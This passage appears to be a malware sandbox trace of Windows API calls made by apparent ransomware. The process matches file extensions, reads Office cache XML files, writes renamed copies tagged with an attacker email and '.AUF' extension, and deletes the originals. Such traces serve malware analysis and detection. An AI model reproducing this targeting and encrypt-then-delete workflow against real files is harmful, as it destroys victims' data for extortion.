lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.296] lstrlenW (lpString=".xlsx") returned 5 [0204.296] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0204.296] lstrlenW (lpString=".ppt") returned 4 [0204.296] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0204.296] lstrlenW (lpString=".zip") returned 4 [0204.296] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.296] lstrlenW (lpString=".rar") returned 4 [0204.296] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.296] lstrlenW (lpString=".bz2") returned 4 [0204.296] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.296] lstrlenW (lpString=".7z") returned 3 [0204.296] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0204.296] lstrlenW (lpString=".dbf") returned 4 [0204.296] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0204.296] lstrlenW (lpString=".1cd") returned 4 [0204.296] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0204.296] lstrlenW (lpString=".jpg") returned 4 [0204.296] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.296] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.296] lstrlenW (lpString="Setup.xml") returned 9 [0204.296] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.297] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=5884) returned 1 [0204.297] CloseHandle (hObject=0x17c) returned 1 [0204.297] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0204.297] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.297] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.297] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.297] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.297] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.297] GetLastError () returned 0x0 [0204.297] ReadFile (in: hFile=0x17c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x16fc, lpOverlapped=0x0) returned 1 [0204.304] WriteFile (in: hFile=0x184, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1700, lpOverlapped=0x0) returned 1 [0204.305] ReadFile (in: hFile=0x17c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0204.305] WriteFile (in: hFile=0x184, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0204.306] SetEndOfFile (hFile=0x184) returned 1 [0204.306] CloseHandle (hObject=0x184) returned 1 [0204.306] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.306] SetEndOfFile (hFile=0x17c) returned 1 [0204.307] CloseHandle (hObject=0x17c) returned 1 [0204.307] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.307] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0204.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.307] lstrlenW (lpString=".doc") returned 4 [0204.307] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.307] lstrlenW (lpString=".docx") returned 5 [0204.307] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.307] lstrlenW (lpString=".pdf") returned 4 [0204.307] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.307] lstrlenW (lpString=".xls") returned 4 [0204.307] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.307] lstrlenW (lpString=".xlsx") returned 5 [0204.307] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.307] lstrlenW (lpString=".ppt") returned 4 [0204.307] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.307] lstrlenW (lpString=".zip") returned 4 [0204.307] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.307] lstrlenW (lpString=".rar") returned 4 [0204.308] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.308] lstrlenW (lpString=".bz2") returned 4 [0204.308] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.308] lstrlenW (lpString=".7z") returned 3 [0204.308] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.308] lstrlenW (lpString=".dbf") returned 4 [0204.308] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.308] lstrlenW (lpString=".1cd") returned 4 [0204.308] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.308] lstrlenW (lpString=".jpg") returned 4 [0204.308] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.308] lstrlenW (lpString=".doc") returned 4 [0204.308] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.308] lstrlenW (lpString=".docx") returned 5 [0204.308] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.308] lstrlenW (lpString=".pdf") returned 4 [0204.308] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.308] lstrlenW (lpString=".xls") returned 4 [0204.308] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.308] lstrlenW (lpString=".xlsx") returned 5 [0204.308] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.308] lstrlenW (lpString=".ppt") returned 4 [0204.308] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.308] lstrlenW (lpString=".zip") returned 4 [0204.308] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.308] lstrlenW (lpString=".rar") returned 4 [0204.308] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.308] lstrlenW (lpString=".bz2") returned 4 [0204.308] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.308] lstrlenW (lpString=".7z") returned 3 [0204.308] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.308] lstrlenW (lpString=".dbf") returned 4 [0204.309] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.309] lstrlenW (lpString=".1cd") returned 4 [0204.309] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.309] lstrlenW (lpString=".jpg") returned 4 [0204.309] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.309] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.309] lstrlenW (lpString="Office32MUI.xml") returned 15 [0204.309] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.309] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1383) returned 1 [0204.309] CloseHandle (hObject=0x17c) returned 1 [0204.309] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0204.310] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.310] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.310] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.310] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.310] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.310] GetLastError () returned 0x0 [0204.310] ReadFile (in: hFile=0x17c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x567, lpOverlapped=0x0) returned 1 [0204.410] WriteFile (in: hFile=0x184, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x570, lpOverlapped=0x0) returned 1 [0204.410] ReadFile (in: hFile=0x17c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0204.410] WriteFile (in: hFile=0x184, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0204.410] SetEndOfFile (hFile=0x184) returned 1 [0204.410] CloseHandle (hObject=0x184) returned 1 [0204.411] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.411] SetEndOfFile (hFile=0x17c) returned 1 [0204.411] CloseHandle (hObject=0x17c) returned 1 [0204.412] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.455] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0204.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0204.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0204.455] lstrlenW (lpString=".doc") returned 4 [0204.455] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.455] lstrlenW (lpString=".docx") returned 5 [0204.455] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.455] lstrlenW (lpString=".pdf") returned 4 [0204.455] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.455] lstrlenW (lpString=".xls") returned 4 [0204.455] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.455] lstrlenW (lpString=".xlsx") returned 5 [0204.455] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.455] lstrlenW (lpString=".ppt") returned 4 [0204.455] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0204.455] lstrlenW (lpString=".zip") returned 4 [0204.455] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.455] lstrlenW (lpString=".rar") returned 4 [0204.455] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.455] lstrlenW (lpString=".bz2") returned 4 [0204.455] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.455] lstrlenW (lpString=".7z") returned 3 [0204.455] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0204.455] lstrlenW (lpString=".dbf") returned 4 [0204.455] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0204.455] lstrlenW (lpString=".1cd") returned 4 [0204.456] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0204.456] lstrlenW (lpString=".jpg") returned 4 [0204.456] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0204.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0204.456] lstrlenW (lpString=".doc") returned 4 [0204.456] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.456] lstrlenW (lpString=".docx") returned 5 [0204.456] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.456] lstrlenW (lpString=".pdf") returned 4 [0204.456] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.456] lstrlenW (lpString=".xls") returned 4 [0204.456] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.456] lstrlenW (lpString=".xlsx") returned 5 [0204.456] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.456] lstrlenW (lpString=".ppt") returned 4 [0204.456] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0204.456] lstrlenW (lpString=".zip") returned 4 [0204.456] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.456] lstrlenW (lpString=".rar") returned 4 [0204.456] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.456] lstrlenW (lpString=".bz2") returned 4 [0204.456] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.456] lstrlenW (lpString=".7z") returned 3 [0204.456] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0204.456] lstrlenW (lpString=".dbf") returned 4 [0204.456] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0204.456] lstrlenW (lpString=".1cd") returned 4 [0204.456] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0204.456] lstrlenW (lpString=".jpg") returned 4 [0204.456] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.456] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.456] lstrlenW (lpString="Setup.xml") returned 9 [0204.456] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.505] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1988) returned 1 [0204.505] CloseHandle (hObject=0x184) returned 1 [0204.505] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0204.505] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.505] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.506] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.506] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.506] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0204.506] GetLastError () returned 0x0 [0204.506] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x7c4, lpOverlapped=0x0) returned 1 [0204.556] WriteFile (in: hFile=0x19c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0204.557] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0204.557] WriteFile (in: hFile=0x19c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0204.557] SetEndOfFile (hFile=0x19c) returned 1 [0204.557] CloseHandle (hObject=0x19c) returned 1 [0204.557] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.557] SetEndOfFile (hFile=0x184) returned 1 [0204.558] CloseHandle (hObject=0x184) returned 1 [0204.558] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.558] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0204.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.558] lstrlenW (lpString=".doc") returned 4 [0204.558] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.558] lstrlenW (lpString=".docx") returned 5 [0204.558] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.558] lstrlenW (lpString=".pdf") returned 4 [0204.559] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.559] lstrlenW (lpString=".xls") returned 4 [0204.559] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.559] lstrlenW (lpString=".xlsx") returned 5 [0204.559] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.559] lstrlenW (lpString=".ppt") returned 4 [0204.559] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.559] lstrlenW (lpString=".zip") returned 4 [0204.559] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.559] lstrlenW (lpString=".rar") returned 4 [0204.559] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.559] lstrlenW (lpString=".bz2") returned 4 [0204.559] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.559] lstrlenW (lpString=".7z") returned 3 [0204.559] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.559] lstrlenW (lpString=".dbf") returned 4 [0204.559] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.559] lstrlenW (lpString=".1cd") returned 4 [0204.559] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.559] lstrlenW (lpString=".jpg") returned 4 [0204.559] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.559] lstrlenW (lpString=".doc") returned 4 [0204.559] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.559] lstrlenW (lpString=".docx") returned 5 [0204.559] lstrcmpiW (lpString1=".docx", 